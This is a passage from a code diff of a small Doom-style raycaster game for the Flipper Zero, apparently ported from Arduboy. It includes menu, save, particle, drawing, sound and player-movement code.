uint8_t maxTop = MaxTop();
if(m_selection < m_topIndex) m_topIndex = m_selection;
uint8_t end = (uint8_t)(m_topIndex + (VISIBLE_ROWS - 1));
if(m_selection > end) {
int t = (int)m_selection - (VISIBLE_ROWS - 1);
if(t < 0) t = 0;
if(t > maxTop) t = maxTop;
m_topIndex = (uint8_t)t;
}
m_cursorPos = (uint8_t)(m_selection - m_topIndex);
if(m_cursorPos >= VISIBLE_ROWS) m_cursorPos = (VISIBLE_ROWS - 1);
};
if((input & INPUT_DOWN) && !(lastInput & INPUT_DOWN)) {
uint8_t next = Wrap((int)m_selection + 1, MENU_ITEMS_COUNT);
if(m_cursorPos < (VISIBLE_ROWS - 1)) {
m_selection = next;
m_cursorPos++;
} else {
m_selection = next;
if(m_topIndex < MaxTop()) {
m_topIndex++;
} else {
m_topIndex = 0;
m_cursorPos = 0;
}
}
syncWindow();
}
if((input & INPUT_UP) && !(lastInput & INPUT_UP)) {
uint8_t prev = Wrap((int)m_selection - 1, MENU_ITEMS_COUNT);
if(m_cursorPos > 0) {
m_selection = prev;
m_cursorPos--;
} else {
m_selection = prev;
if(m_topIndex > 0) {
m_topIndex--;
} else {
m_topIndex = MaxTop();
m_cursorPos = (VISIBLE_ROWS - 1);
}
}
syncWindow();
}
if((input & (INPUT_A | INPUT_B)) && !(lastInput & (INPUT_A | INPUT_B))) {
switch(m_selection) {
case 0:
Game::StartGame();
break;
case 1:
Platform::SetAudioEnabled(!Platform::IsAudioEnabled());
break;
default:
break;
}
}
lastInput = input;
}
void Menu::TickEnteringLevel() {
constexpr uint8_t showTime = 45;
if(timer < showTime) timer++;
if(timer == showTime && Platform::GetInput() == 0) {
Game::StartLevel();
}
}
void Menu::TickGameOver() {
constexpr uint8_t minShowTime = 30;
if(timer < minShowTime) timer++;
if(timer == minShowTime && (Platform::GetInput() & (INPUT_A | INPUT_B))) {
timer++;
} else if(timer == minShowTime + 1 && Platform::GetInput() == 0) {
Game::SwitchState(Game::State::Menu);
}
}
static inline void DrawEraseTile8x8(int16_t x, int16_t y, const uint8_t* frame8bytes) {
for(uint8_t row = 0; row < 8; row++) {
uint8_t rowMask = pgm_read_byte(frame8bytes + row);
while(rowMask) {
uint8_t b = (uint8_t)__builtin_ctz((unsigned)rowMask);
uint8_t col = 7 - b;
Platform::PutPixel(x + col, y + row, COLOUR_WHITE);
rowMask &= (uint8_t)(rowMask - 1);
}
}
}
void Menu::DrawTransitionFrame(uint8_t frameIndex) {
const uint8_t w = pgm_read_byte(transitionSet + 0);
const uint8_t h = pgm_read_byte(transitionSet + 1);
(void)w;
(void)h;
const uint8_t* framePtr = transitionSet + 2 + (uint16_t)frameIndex * 8;
int16_t tileX = 120;
int16_t tileY = 56;
while(true) {
DrawEraseTile8x8(tileX, tileY, framePtr);
tileX -= 8;
if(tileX < 0) {
tileX = 120;
tileY -= 8;
if(tileY < 0) break;
}
}
}
void Menu::ResetTimer() {
timer = 0;
}
static constexpr uint8_t TOTAL_TIME = 40;
static constexpr uint8_t TOTAL_FRAMES = 8;
void Menu::RunTransition(Menu* menu, uint8_t& t, TransitionNextFn next) {
uint8_t frameIndex = (uint16_t)t * TOTAL_FRAMES / TOTAL_TIME;
if(frameIndex >= TOTAL_FRAMES) frameIndex = TOTAL_FRAMES - 1;
menu->DrawTransitionFrame(frameIndex);
if(frameIndex >= TOTAL_FRAMES - 2) {
t = 0;
next();
return;
}
++t;
}
void Menu::FadeOut() {
static uint8_t t = 0;
RunTransition(this, t, +[]() { Game::SwitchState(Game::State::GameOver); });
}
void Menu::ReadSave() {
uint8_t addr = EEPROM_BASE_ADDR;
m_score = (uint16_t)EEPROM.read(addr) | ((uint16_t)EEPROM.read(addr + 1) << 8); addr += 2;
m_high = (uint16_t)EEPROM.read(addr) | ((uint16_t)EEPROM.read(addr + 1) << 8); addr += 2;
m_storedHigh = m_high;
for(int i = 0; i < 9; i++) {
m_save[i] = EEPROM.read(addr++);
}
}
void Menu::SetScore(uint16_t score) {
if(score == 0) return;
m_high = (score > m_storedHigh) ? score : m_storedHigh;
m_score = score;
}
void Menu::WriteSave() {
uint8_t addr = EEPROM_BASE_ADDR;
EEPROM.update(addr++, (uint8_t)(m_score & 0xFF));
EEPROM.update(addr++, (uint8_t)(m_score >> 8));
EEPROM.update(addr++, (uint8_t)(m_high & 0xFF));
EEPROM.update(addr++, (uint8_t)(m_high >> 8));
for(int i = 0; i < 9; i++) {
EEPROM.update(addr++, m_save[i]);
}
EEPROM.commit();
}
+122
View File
@@ -0,0 +1,122 @@
#pragma once
#include <stdint.h>
// 8x8, 8 кадров (0..7) — как в первом коде
static const uint8_t PROGMEM transitionSet[] = {
8,
8,
// FRAME 00
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
// FRAME 01
0x00,
0x55,
0x00,
0x55,
0x00,
0x55,
0x00,
0x55,
// FRAME 02
0x00,
0xFF,
0x00,
0xFF,
0x00,
0xFF,
0x00,
0xFF,
// FRAME 03
0xAA,
0xFF,
0xAA,
0xFF,
0xAA,
0xFF,
0xAA,
0xFF,
// FRAME 04
0xFF,
0xFF,
0xFF,
0xFF,
0xFF,
0xFF,
0xFF,
0xFF,
// FRAME 05
0xFF,
0xAA,
0xFF,
0xAA,
0xFF,
0xAA,
0xFF,
0xAA,
// FRAME 06
0xFF,
0x00,
0xFF,
0x00,
0xFF,
0x00,
0xFF,
0x00,
// FRAME 07
0x55,
0x00,
0x55,
0x00,
0x55,
0x00,
0x55,
0x00,
};
class Menu {
public:
void Init();
void Draw();
void Tick();
void ReadSave();
void WriteSave();
void TickEnteringLevel();
void DrawEnteringLevel();
void TransitionToLevel();
void TickGameOver();
void DrawGameOver();
void ResetTimer();
void FadeOut();
private:
using TransitionNextFn = void (*)();
static void RunTransition(Menu* menu, uint8_t& t, TransitionNextFn next);
void DrawTransitionFrame(uint8_t frameIndex);
void SetScore(uint16_t score);
void PrintItem(uint8_t idx, uint8_t row);
uint8_t m_selection = 0;
uint8_t m_topIndex = 0;
uint8_t m_cursorPos = 0;
uint16_t m_score = 0;
uint16_t m_high = 0;
uint16_t m_storedHigh = 0;
uint8_t m_save[9] = {0};
union {
uint16_t timer;
uint16_t fizzleFade;
};
};
@@ -0,0 +1,149 @@
#include "game/Particle.h"
#include "game/FixedMath.h"
#include "game/Platform.h"
ParticleSystem ParticleSystemManager::systems[MAX_SYSTEMS];
void ParticleSystem::Init()
{
life = 0;
}
void ParticleSystem::Step()
{
for (Particle& p : particles)
{
if (p.IsActive())
{
p.velY += gravity;
if (p.x + p.velX < -127 || p.x + p.velX > 127 || p.y + p.velY < -127)
{
p.x = -128;
continue;
}
if (p.y + p.velY >= 128)
{
p.velY = p.velX = 0;
p.y = 127;
}
p.x += p.velX;
p.y += p.velY;
}
}
life--;
}
void ParticleSystem::Draw(int x, int halfScale)
{
int scale = 2 * halfScale;
int8_t horizon = Renderer::GetHorizon(x);
uint8_t colour = isWhite ? COLOUR_WHITE : COLOUR_BLACK;
for (Particle& p : particles)
{
if (p.IsActive())
{
int outX = x + ((p.x * scale) >> 8);
int outY = horizon + ((p.y * scale) >> 8);
if (outX >= 0 && outY >= 0 && outX < DISPLAY_WIDTH - 1 && outY < DISPLAY_HEIGHT - 1 && halfScale >= Renderer::wBuffer[outX])
{
Platform::PutPixel(outX, outY, colour);
Platform::PutPixel(outX + 1, outY, colour);
Platform::PutPixel(outX + 1, outY + 1, colour);
Platform::PutPixel(outX, outY + 1, colour);
}
}
}
}
void ParticleSystem::Explode()
{
for (Particle& p : particles)
{
p.x = (Random() & 31) - 16;
p.y = (Random() & 31) - 16;
p.velX = (Random() & 31) - 16;
p.velY = (Random() & 31) - 25;
}
life = 22;
}
void ParticleSystemManager::Draw()
{
for (ParticleSystem& system : systems)
{
if(system.IsActive())
{
int16_t screenX, screenW;
if(Renderer::TransformAndCull(system.worldX, system.worldY, screenX, screenW))
{
QueuedDrawable* drawable = Renderer::CreateQueuedDrawable((uint8_t)screenW);
if(drawable)
{
drawable->type = DrawableType::ParticleSystem;
drawable->x = (int8_t)screenX;
drawable->inverseCameraDistance = (uint8_t)screenW;
drawable->particleSystem = &system;
}
}
}
}
}
void ParticleSystemManager::Init()
{
for (ParticleSystem& system : systems)
{
system.Init();
}
}
void ParticleSystemManager::Update()
{
for (ParticleSystem& system : systems)
{
if(system.IsActive())
{
system.Step();
}
}
}
void ParticleSystemManager::CreateExplosion(int16_t worldX, int16_t worldY, bool isWhite)
{
ParticleSystem* newSystem = nullptr;
for(ParticleSystem& system : systems)
{
if(!system.IsActive())
{
newSystem = &system;
break;
}
}
if (!newSystem)
{
newSystem = &systems[0];
for (uint8_t n = 1; n < MAX_SYSTEMS; n++)
{
if (systems[n].life < newSystem->life)
{
newSystem = &systems[n];
}
}
}
newSystem->worldX = worldX;
newSystem->worldY = worldY;
newSystem->isWhite = isWhite;
newSystem->Explode();
}
@@ -0,0 +1,42 @@
#pragma once
#include <stdint.h>
#include "game/Defines.h"
#include "game/Draw.h"
#include "game/Game.h"
struct Particle
{
int8_t x, y;
int8_t velX, velY;
inline bool IsActive() { return x != -128; }
};
struct ParticleSystem
{
static constexpr int8_t gravity = 3;
int16_t worldX, worldY;
bool isWhite : 1;
uint8_t life : 7;
Particle particles[PARTICLES_PER_SYSTEM];
bool IsActive() { return life > 0; }
void Init();
void Step();
void Draw(int x, int scale);
void Explode();
};
class ParticleSystemManager
{
public:
static constexpr int MAX_SYSTEMS = 3;
static ParticleSystem systems[MAX_SYSTEMS];
static void Init();
static void Draw();
static void Update();
static void CreateExplosion(int16_t x, int16_t y, bool isWhite = false);
};
@@ -0,0 +1,365 @@
#include <furi.h>
#include <furi_hal.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <stdlib.h>
#include <string.h>
#include "lib/flipper.h"
#define COLOUR_WHITE 0
#define COLOUR_BLACK 1
#include "game/Game.h"
#include "game/Draw.h"
#include "game/FixedMath.h"
#include "game/Platform.h"
#include "game/Defines.h"
#include "game/Sounds.h"
#include "lib/EEPROM.h"
// ---------------- SOUND ----------------
typedef struct {
const uint16_t* pattern;
} SoundRequest;
static FuriMessageQueue* g_sound_queue = NULL;
static FuriThread* g_sound_thread = NULL;
static volatile bool g_sound_thread_running = false;
static const float kSoundVolume = 1.0f;
static const uint32_t kToneTickHz = 780;
static inline uint32_t arduboy_ticks_to_ms(uint16_t ticks) {
return (uint32_t)((ticks * 1000u + (kToneTickHz / 2)) / kToneTickHz);
}
static int32_t sound_thread_fn(void* ctx) {
UNUSED(ctx);
SoundRequest req;
while(g_sound_thread_running) {
if(furi_message_queue_get(g_sound_queue, &req, 50) != FuriStatusOk) continue;
if(!g_state || !g_state->audio_enabled || !req.pattern) continue;
if(!furi_hal_speaker_acquire(50)) continue;
const uint16_t* p = req.pattern;
while(g_sound_thread_running && g_state && g_state->audio_enabled) {
SoundRequest new_req;
if(furi_message_queue_get(g_sound_queue, &new_req, 0) == FuriStatusOk) {
if(new_req.pattern) p = new_req.pattern;
}
uint16_t freq = *p++;
if(freq == TONES_END) break;
uint16_t dur_ticks = *p++;
uint32_t dur_ms = arduboy_ticks_to_ms(dur_ticks);
if(dur_ms == 0) dur_ms = 1;
if(freq == 0) {
furi_hal_speaker_stop();
furi_delay_ms(dur_ms);
} else {
furi_hal_speaker_start((float)freq, kSoundVolume);
furi_delay_ms(dur_ms);
furi_hal_speaker_stop();
}
}
furi_hal_speaker_stop();
furi_hal_speaker_release();
}
if(furi_hal_speaker_is_mine()) {
furi_hal_speaker_stop();
furi_hal_speaker_release();
}
return 0;
}
static void sound_system_init() {
if(g_sound_queue || g_sound_thread) return;
g_sound_queue = furi_message_queue_alloc(4, sizeof(SoundRequest));
g_sound_thread = furi_thread_alloc();
furi_thread_set_name(g_sound_thread, "GameSound");
furi_thread_set_stack_size(g_sound_thread, 1024);
furi_thread_set_priority(g_sound_thread, FuriThreadPriorityNormal);
furi_thread_set_callback(g_sound_thread, sound_thread_fn);
g_sound_thread_running = true;
furi_thread_start(g_sound_thread);
}
static void sound_system_deinit() {
if(!g_sound_thread) return;
g_sound_thread_running = false;
furi_thread_join(g_sound_thread);
furi_thread_free(g_sound_thread);
g_sound_thread = NULL;
if(g_sound_queue) {
furi_message_queue_free(g_sound_queue);
g_sound_queue = NULL;
}
}
void Platform::PlaySound(const uint16_t* audioPattern) {
if(!g_state || !g_state->audio_enabled || !audioPattern || !g_sound_queue) return;
SoundRequest req = {.pattern = audioPattern};
if(furi_message_queue_put(g_sound_queue, &req, 0) != FuriStatusOk) {
SoundRequest dummy;
(void)furi_message_queue_get(g_sound_queue, &dummy, 0);
(void)furi_message_queue_put(g_sound_queue, &req, 0);
}
}
bool Platform::IsAudioEnabled() {
return g_state && g_state->audio_enabled;
}
void Platform::SetAudioEnabled(bool enabled) {
if(!g_state) return;
bool was_enabled = g_state->audio_enabled;
g_state->audio_enabled = enabled;
if(enabled && !was_enabled)
sound_system_init();
else if(!enabled && was_enabled)
sound_system_deinit();
}
// ---------------- INPUT ----------------
uint8_t Platform::GetInput() {
return g_state ? g_state->input_state : 0;
}
// ---------------- DRAW ----------------
static constexpr uint8_t kDisplayPages = DISPLAY_HEIGHT / 8;
static inline int16_t floor_div8(int16_t value) {
return (value >= 0) ? (value >> 3) : (int16_t)(-(((-value) + 7) >> 3));
}
static inline void set_pixel(int16_t x, int16_t y, bool color) {
if(!g_state) return;
if((uint16_t)x >= DISPLAY_WIDTH || (uint16_t)y >= DISPLAY_HEIGHT) return;
uint8_t* buf = g_state->back_buffer;
uint16_t idx = (uint16_t)(x + (y >> 3) * DISPLAY_WIDTH);
uint8_t mask = (uint8_t)(1u << (y & 7));
if(color)
buf[idx] |= mask;
else
buf[idx] &= (uint8_t)~mask;
}
void Platform::PutPixel(uint8_t x, uint8_t y, uint8_t color) {
set_pixel(x, y, color);
}
void Platform::FillScreen(uint8_t color) {
if(!g_state) return;
memset(g_state->back_buffer, color ? 0xFF : 0x00, BUFFER_SIZE);
}
uint8_t* Platform::GetScreenBuffer() {
return g_state ? g_state->back_buffer : NULL;
}
void Platform::DrawVLine(uint8_t x, int8_t y0, int8_t y1, uint8_t pattern) {
if(!g_state || pattern == 0 || x >= DISPLAY_WIDTH) return;
int16_t top = y0;
int16_t bottom = y1;
if(top > bottom) {
int16_t t = top;
top = bottom;
bottom = t;
}
if(bottom < 0 || top >= DISPLAY_HEIGHT) return;
if(top < 0) top = 0;
if(bottom >= DISPLAY_HEIGHT) bottom = DISPLAY_HEIGHT - 1;
uint8_t start_page = (uint8_t)(top >> 3);
uint8_t end_page = (uint8_t)(bottom >> 3);
uint8_t start_bit = (uint8_t)(top & 7);
uint8_t end_bit = (uint8_t)(bottom & 7);
uint8_t* buf = g_state->back_buffer;
if(start_page == end_page) {
uint8_t clip_mask =
(uint8_t)((uint8_t)(0xFFu << start_bit) & (uint8_t)(0xFFu >> (7u - end_bit)));
buf[(uint16_t)x + (uint16_t)start_page * DISPLAY_WIDTH] |= (uint8_t)(pattern & clip_mask);
return;
}
buf[(uint16_t)x + (uint16_t)start_page * DISPLAY_WIDTH] |=
(uint8_t)(pattern & (uint8_t)(0xFFu << start_bit));
for(uint8_t page = (uint8_t)(start_page + 1); page < end_page; page++) {
buf[(uint16_t)x + (uint16_t)page * DISPLAY_WIDTH] |= pattern;
}
buf[(uint16_t)x + (uint16_t)end_page * DISPLAY_WIDTH] |=
(uint8_t)(pattern & (uint8_t)(0xFFu >> (7u - end_bit)));
}
static inline uint8_t get_page_mask(uint8_t page, uint8_t total_pages, uint8_t height) {
if((page + 1u) != total_pages) return 0xFFu;
uint8_t tail_bits = (uint8_t)(height & 7u);
return tail_bits ? (uint8_t)((1u << tail_bits) - 1u) : 0xFFu;
}
void Platform::DrawBitmap(int16_t x, int16_t y, const uint8_t* bmp) {
if(!g_state || !bmp) return;
uint8_t w = bmp[0];
uint8_t h = bmp[1];
if(!w || !h) return;
int16_t x0 = x < 0 ? 0 : x;
int16_t x1 = x + w;
if(x1 > DISPLAY_WIDTH) x1 = DISPLAY_WIDTH;
if(x0 >= x1) return;
const uint8_t* data = bmp + 2;
uint8_t pages = (uint8_t)((h + 7u) >> 3);
uint8_t* dst = g_state->back_buffer;
for(int16_t dx = x0; dx < x1; dx++) {
uint8_t sx = (uint8_t)(dx - x);
const uint8_t* src_col = data + sx;
for(uint8_t page = 0; page < pages; page++) {
int16_t base_y = y + ((int16_t)page << 3);
if(base_y <= -8 || base_y >= DISPLAY_HEIGHT) continue;
uint8_t src = src_col[(uint16_t)page * w] & get_page_mask(page, pages, h);
if(src == 0) continue;
int16_t dst_page = floor_div8(base_y);
uint8_t y_shift = (uint8_t)(base_y - (dst_page << 3));
uint8_t low = (uint8_t)(src << y_shift);
if((uint16_t)dst_page < kDisplayPages) {
uint16_t idx = (uint16_t)dx + (uint16_t)dst_page * DISPLAY_WIDTH;
dst[idx] &= (uint8_t)~low;
}
if(y_shift && (uint16_t)(dst_page + 1) < kDisplayPages) {
uint8_t high = (uint8_t)(src >> (8u - y_shift));
uint16_t idx = (uint16_t)dx + (uint16_t)(dst_page + 1) * DISPLAY_WIDTH;
dst[idx] &= (uint8_t)~high;
}
}
}
}
void Platform::DrawSolidBitmap(int16_t x, int16_t y, const uint8_t* bmp) {
if(!g_state || !bmp) return;
uint8_t w = bmp[0];
uint8_t h = bmp[1];
if(!w || !h) return;
int16_t x0 = x < 0 ? 0 : x;
int16_t x1 = x + w;
if(x1 > DISPLAY_WIDTH) x1 = DISPLAY_WIDTH;
if(x0 >= x1) return;
const uint8_t* data = bmp + 2;
uint8_t pages = (uint8_t)((h + 7u) >> 3);
uint8_t* dst = g_state->back_buffer;
for(int16_t dx = x0; dx < x1; dx++) {
uint8_t sx = (uint8_t)(dx - x);
const uint8_t* src_col = data + sx;
for(uint8_t page = 0; page < pages; page++) {
int16_t base_y = y + ((int16_t)page << 3);
if(base_y <= -8 || base_y >= DISPLAY_HEIGHT) continue;
uint8_t page_mask = get_page_mask(page, pages, h);
uint8_t src = src_col[(uint16_t)page * w] & page_mask;
uint8_t fill = (uint8_t)(~src) & page_mask;
int16_t dst_page = floor_div8(base_y);
uint8_t y_shift = (uint8_t)(base_y - (dst_page << 3));
uint8_t region_low = (uint8_t)(page_mask << y_shift);
uint8_t fill_low = (uint8_t)(fill << y_shift);
if((uint16_t)dst_page < kDisplayPages) {
uint16_t idx = (uint16_t)dx + (uint16_t)dst_page * DISPLAY_WIDTH;
dst[idx] = (uint8_t)((dst[idx] & (uint8_t)~region_low) | fill_low);
}
if(y_shift && (uint16_t)(dst_page + 1) < kDisplayPages) {
uint8_t region_high = (uint8_t)(page_mask >> (8u - y_shift));
uint8_t fill_high = (uint8_t)(fill >> (8u - y_shift));
uint16_t idx = (uint16_t)dx + (uint16_t)(dst_page + 1) * DISPLAY_WIDTH;
dst[idx] = (uint8_t)((dst[idx] & (uint8_t)~region_high) | fill_high);
}
}
}
}
void Platform::DrawSprite(int16_t x, int16_t y, const uint8_t* bmp, uint8_t frame) {
if(!g_state || !bmp) return;
uint8_t w = bmp[0];
uint8_t h = bmp[1];
if(!w || !h) return;
int16_t x0 = x < 0 ? 0 : x;
int16_t x1 = x + w;
if(x1 > DISPLAY_WIDTH) x1 = DISPLAY_WIDTH;
if(x0 >= x1) return;
uint8_t pages = (uint8_t)((h + 7u) >> 3);
uint16_t frame_size = (uint16_t)(w * pages);
const uint8_t* data = bmp + 2 + (uint32_t)frame * frame_size * 2u;
uint8_t* dst = g_state->back_buffer;
for(int16_t dx = x0; dx < x1; dx++) {
uint8_t sx = (uint8_t)(dx - x);
for(uint8_t page = 0; page < pages; page++) {
int16_t base_y = y + ((int16_t)page << 3);
if(base_y <= -8 || base_y >= DISPLAY_HEIGHT) continue;
uint16_t src_index = (uint16_t)((page * w + sx) * 2u);
uint8_t src = data[src_index];
uint8_t mask = data[src_index + 1] & get_page_mask(page, pages, h);
if(mask == 0) continue;
uint8_t fill = (uint8_t)(src & mask);
int16_t dst_page = floor_div8(base_y);
uint8_t y_shift = (uint8_t)(base_y - (dst_page << 3));
uint8_t region_low = (uint8_t)(mask << y_shift);
uint8_t fill_low = (uint8_t)(fill << y_shift);
if((uint16_t)dst_page < kDisplayPages) {
uint16_t idx = (uint16_t)dx + (uint16_t)dst_page * DISPLAY_WIDTH;
dst[idx] = (uint8_t)((dst[idx] & (uint8_t)~region_low) | fill_low);
}
if(y_shift && (uint16_t)(dst_page + 1) < kDisplayPages) {
uint8_t region_high = (uint8_t)(mask >> (8u - y_shift));
uint8_t fill_high = (uint8_t)(fill >> (8u - y_shift));
uint16_t idx = (uint16_t)dx + (uint16_t)(dst_page + 1) * DISPLAY_WIDTH;
dst[idx] = (uint8_t)((dst[idx] & (uint8_t)~region_high) | fill_high);
}
}
}
}
@@ -0,0 +1,24 @@
#pragma once
#include <stdint.h>
class Platform
{
public:
static uint8_t GetInput(void);
static uint8_t* GetScreenBuffer();
static void PlaySound(const uint16_t* audioPattern);
static bool IsAudioEnabled();
static void SetAudioEnabled(bool isEnabled);
static void FillScreen(uint8_t col);
static void PutPixel(uint8_t x, uint8_t y, uint8_t colour);
static void DrawBitmap(int16_t x, int16_t y, const uint8_t *bitmap);
static void DrawSolidBitmap(int16_t x, int16_t y, const uint8_t *bitmap);
static void DrawSprite(int16_t x, int16_t y, const uint8_t *bitmap, const uint8_t *mask, uint8_t frame, uint8_t mask_frame);
static void DrawSprite(int16_t x, int16_t y, const uint8_t *bitmap, uint8_t frame);
static void DrawVLine(uint8_t x, int8_t y1, int8_t y2, uint8_t pattern);
static void DrawBackground();
};
@@ -0,0 +1,328 @@
#include "game/Player.h"
#include "game/Game.h"
#include "game/FixedMath.h"
#include "game/Projectile.h"
#include "game/Platform.h"
#include "game/Draw.h"
#include "game/Enemy.h"
#include "game/Map.h"
#include "game/Sounds.h"
#include "game/Particle.h"
#define USE_ROTATE_BOB 0
#define STRAFE_TILT 14
#define ROTATE_TILT 3
const char SignMessage1[] PROGMEM = "Abandon all hope ye who enter!";
void Player::Init()
{
NextLevel();
hp = maxHP;
}
void Player::NextLevel()
{
x = CELL_SIZE * 1 + CELL_SIZE / 2;
y = CELL_SIZE * 1 + CELL_SIZE / 2;
angle = FIXED_ANGLE_45;
mana = maxMana;
damageTime = 0;
shakeTime = 0;
reloadTime = 0;
velocityX = 0;
velocityY = 0;
angularVelocity = 0;
}
void Player::Fire()
{
if (mana >= manaFireCost)
{
reloadTime = 8;
shakeTime = 6;
int16_t projectileX = x + FixedCos(angle + FIXED_ANGLE_90 / 2) / 4;
int16_t projectileY = y + FixedSin(angle + FIXED_ANGLE_90 / 2) / 4;
ProjectileManager::FireProjectile(this, projectileX, projectileY, angle);
mana -= manaFireCost;
Platform::PlaySound(Sounds::Attack);
}
}
void Player::Tick()
{
uint8_t input = Platform::GetInput();
int8_t turnDelta = 0;
int8_t targetTilt = 0;
int8_t moveDelta = 0;
int8_t strafeDelta = 0;
// Doom-style circle strafe: holding OK (fire) makes left/right strafe
if (input & (INPUT_A | INPUT_B))
{
if (input & INPUT_LEFT)
{
strafeDelta--;
}
if (input & INPUT_RIGHT)
{
strafeDelta++;
}
}
else
{
if (input & INPUT_LEFT)
{
turnDelta -= TURN_SPEED * 2;
}
if (input & INPUT_RIGHT)
{
turnDelta += TURN_SPEED * 2;
}
}
// Testing shooting / recoil mechanic
if (reloadTime > 0)
{
reloadTime--;
}
else if (input & INPUT_B)
{
Fire();
}
if (angularVelocity < turnDelta)
{
angularVelocity++;
}
else if (angularVelocity > turnDelta)
{
angularVelocity--;
}
angle += angularVelocity >> 1;
if (input & INPUT_UP)
{
moveDelta++;
}
if (input & INPUT_DOWN)
{
moveDelta--;
}
static int tiltTimer = 0;
tiltTimer++;
if (moveDelta && USE_ROTATE_BOB)
{
targetTilt = (int8_t)(FixedSin(tiltTimer * 10) / 32);
}
else
{
targetTilt = 0;
}
targetTilt += angularVelocity * ROTATE_TILT;
targetTilt += strafeDelta * STRAFE_TILT;
int8_t targetBob = moveDelta || strafeDelta ? FixedSin(tiltTimer * 10) / 128 : 0;
if (shakeTime > 0)
{
shakeTime--;
targetBob += (Random() & 3) - 1;
targetTilt += (Random() & 31) - 16;
}
constexpr int tiltRate = 6;
if (Renderer::camera.tilt < targetTilt)
{
Renderer::camera.tilt += tiltRate;
if (Renderer::camera.tilt > targetTilt)
{
Renderer::camera.tilt = targetTilt;
}
}
else if (Renderer::camera.tilt > targetTilt)
{
Renderer::camera.tilt -= tiltRate;
if (Renderer::camera.tilt < targetTilt)
{
Renderer::camera.tilt = targetTilt;
}
}
constexpr int bobRate = 3;
if (Renderer::camera.bob < targetBob)
{
Renderer::camera.bob += bobRate;
if (Renderer::camera.bob > targetBob)
{
Renderer::camera.bob = targetBob;
}
}
else if (Renderer::camera.bob > targetBob)
{
Renderer::camera.bob -= bobRate;
if (Renderer::camera.bob < targetBob)
{
Renderer::camera.bob = targetBob;
}
}
int16_t cosAngle = FixedCos(angle);
int16_t sinAngle = FixedSin(angle);
int16_t cos90Angle = FixedCos(angle + FIXED_ANGLE_90);
int16_t sin90Angle = FixedSin(angle + FIXED_ANGLE_90);
//camera.x += (moveDelta * cosAngle) >> 4;
//camera.y += (moveDelta * sinAngle) >> 4;
velocityX += (moveDelta * cosAngle) / 24;
velocityY += (moveDelta * sinAngle) / 24;
velocityX += (strafeDelta * cos90Angle) / 24;
velocityY += (strafeDelta * sin90Angle) / 24;
Move(velocityX / 4, velocityY / 4);
velocityX = (velocityX * 7) / 8;
velocityY = (velocityY * 7) / 8;
if (mana < maxMana && reloadTime == 0)
{
mana += manaRechargeRate;
}
if (damageTime > 0)
damageTime--;
uint8_t cellX = x / CELL_SIZE;
uint8_t cellY = y / CELL_SIZE;
switch (Map::GetCellSafe(cellX, cellY))
{
case CellType::Potion:
if (hp < maxHP)
{
if (hp + potionStrength > maxHP)
hp = maxHP;
else
hp += potionStrength;
Map::SetCell(cellX, cellY, CellType::Empty);
Platform::PlaySound(Sounds::Pickup);
Game::ShowMessage(PSTR("Picked up a stimpack"));
}
break;
case CellType::Coins:
Map::SetCell(cellX, cellY, CellType::Empty);
Platform::PlaySound(Sounds::Pickup);
Game::ShowMessage(PSTR("Picked up a health bonus"));
Game::stats.coinsCollected++;
break;
case CellType::Crown:
Map::SetCell(cellX, cellY, CellType::Empty);
Platform::PlaySound(Sounds::Pickup);
Game::ShowMessage(PSTR("Picked up some armor"));
Game::stats.crownsCollected++;
break;
case CellType::Scroll:
Map::SetCell(cellX, cellY, CellType::Empty);
Platform::PlaySound(Sounds::Pickup);
Game::ShowMessage(PSTR("Picked up an armor bonus"));
Game::stats.scrollsCollected++;
break;
default:
break;
}
}
bool Player::IsWorldColliding() const
{
return Map::IsBlockedAtWorldPosition(x - collisionSize, y - collisionSize)
|| Map::IsBlockedAtWorldPosition(x + collisionSize, y - collisionSize)
|| Map::IsBlockedAtWorldPosition(x + collisionSize, y + collisionSize)
|| Map::IsBlockedAtWorldPosition(x - collisionSize, y + collisionSize);
}
bool Player::CheckCollisions()
{
int16_t lookAheadX = (x + (FixedCos(angle) * lookAheadDistance) / FIXED_ONE);
int16_t lookAheadY = (y + (FixedSin(angle) * lookAheadDistance) / FIXED_ONE);
uint8_t lookAheadCellX = (uint8_t)(lookAheadX / CELL_SIZE);
uint8_t lookAheadCellY = (uint8_t)(lookAheadY / CELL_SIZE);
CellType lookAheadCell = Map::GetCellSafe(lookAheadCellX, lookAheadCellY);
switch (lookAheadCell)
{
case CellType::Chest:
Map::SetCell(lookAheadCellX, lookAheadCellY, CellType::ChestOpened);
ParticleSystemManager::CreateExplosion(lookAheadX, lookAheadY, true);
Platform::PlaySound(Sounds::Pickup);
Game::ShowMessage(PSTR("Found a backpack of ammo!"));
Game::stats.chestsOpened++;
break;
case CellType::Sign:
Game::ShowMessage(SignMessage1);
break;
default:
break;
}
if (IsWorldColliding())
{
return true;
}
if (EnemyManager::GetOverlappingEnemy(*this))
{
return true;
}
return false;
}
void Player::Move(int16_t deltaX, int16_t deltaY)
{
x += deltaX;
y += deltaY;
if (CheckCollisions())
{
y -= deltaY;
if (CheckCollisions())
{
x -= deltaX;
y += deltaY;
if (CheckCollisions())
{
y -= deltaY;
}
}
}
}
void Player::Damage(uint8_t damageAmount)
{
if(shakeTime < 6)
shakeTime = 6;
damageTime = 8;
if (hp <= damageAmount)
{
Platform::PlaySound(Sounds::PlayerDeath);
hp = 0;
}
else
{
Platform::PlaySound(Sounds::Ouch);
hp -= damageAmount;
}
}
@@ -0,0 +1,37 @@
#pragma once
#include <stdint.h>
#include "game/Entity.h"
class Player : public Entity
{
public:
uint8_t angle;
int16_t velocityX, velocityY;
int8_t angularVelocity;
uint8_t shakeTime;
uint8_t damageTime;
uint8_t reloadTime;
static constexpr uint8_t maxHP = 100;
static constexpr uint8_t maxMana = 100;
static constexpr uint8_t manaFireCost = 20;
static constexpr uint8_t manaRechargeRate = 1;
static constexpr uint8_t attackStrength = 10;
static constexpr uint8_t collisionSize = 48;
static constexpr uint8_t lookAheadDistance = 60;
static constexpr uint8_t potionStrength = 25;
uint8_t hp;
uint8_t mana;
void Init();
void NextLevel();
void Tick();
void Fire();
void Move(int16_t deltaX, int16_t deltaY);
bool CheckCollisions();
void Damage(uint8_t amount);
bool IsWorldColliding() const;
};
@@ -0,0 +1,185 @@
#include "game/Defines.h"
#include "game/Projectile.h"
#include "game/Map.h"
#include "game/FixedMath.h"
#include "game/Particle.h"
#include "game/Enemy.h"
#include "game/Generated/SpriteTypes.h"
#include "game/Platform.h"
#include "game/Sounds.h"
Projectile ProjectileManager::projectiles[ProjectileManager::MAX_PROJECTILES];
